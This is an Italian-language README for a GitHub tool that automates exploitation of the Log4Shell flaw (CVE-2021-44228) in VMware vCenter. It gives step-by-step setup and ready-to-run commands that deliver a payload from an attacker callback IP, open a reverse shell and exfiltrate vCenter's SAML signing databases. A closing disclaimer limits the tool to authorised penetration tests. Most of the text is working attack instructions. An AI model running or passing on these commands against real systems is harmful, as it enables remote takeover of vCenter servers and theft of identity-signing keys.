
Sfruttamento di CVE-2021-44228 in vCenter per esecuzione remota di codice e altro ancora.
Sfruttamento di CVE-2021-44228 in vCenter per l'esecuzione remota di codice e altro. Il post del blog che descrive lo sfruttamento è collegato qui sotto:
Le proof of concept per questa vulnerabilità sono sparse e devono essere eseguite manualmente. Questo repository automatizza il processo di sfruttamento e mostra un ulteriore percorso di attacco possibile dopo lo sfruttamento.
Questo repository può essere usato manualmente o con Docker.
Per scaricare ed eseguire manualmente l'exploit, segui i seguenti passaggi. Innanzitutto, assicurati che Java e Maven siano installati sul tuo host attaccante. Per farlo usando apt su sistemi operativi basati su Debian, esegui il seguente comando:
apt update && apt install openjdk-11-jre maven
Clona il repository GitHub e installa tutti i requisiti Python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && pip3 install -r requirements.txt
Dalla radice del repository Log4jCenter, compila il progetto Rogue-Jndi usando il comando qui sotto:
mvn package -f utils/rogue-jndi/
Prima di tutto, assicurati che Docker sia installato sul tuo host attaccante. (Non ti guiderò attraverso questa procedura)
Successivamente, esegui il seguente comando per clonare il repository e creare l'immagine Docker che useremo.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && docker build -t log4jcenter .
Per eseguire il container, esegui un comando simile al seguente con i tuoi flag da riga di comando aggiunti alla fine. Ad esempio, il comando qui sotto verrebbe usato per sfruttare vCenter e ottenere una reverse shell. Nota che il container non catturerà la reverse shell. Devi creare un listener ncat in una sessione di shell separata:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p 1389:1389 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -p 4444 -r
usage: exploit.py [-h] -t IP -i CALLBACK [-p PORT] [-e] [-r]
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP vCenter Host IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-e, --exfiltrate Module to pull SAML DB
-r, --revshell Module to establish reverse shell
Ottieni una reverse shell usando lo strumento installato sul tuo sistema locale:
python3 exploit.py -t vcenter.acme.com -i 10.10.10.1 -p 4444 -r
Esfiltra i database di firma SAML dall'interno di un container Docker:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 1389:1389 -p 8090:8090 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -e
Questo strumento è progettato per l'uso durante test di penetrazione; l'utilizzo di questo strumento per attaccare bersagli senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili di qualsiasi uso improprio di questo programma.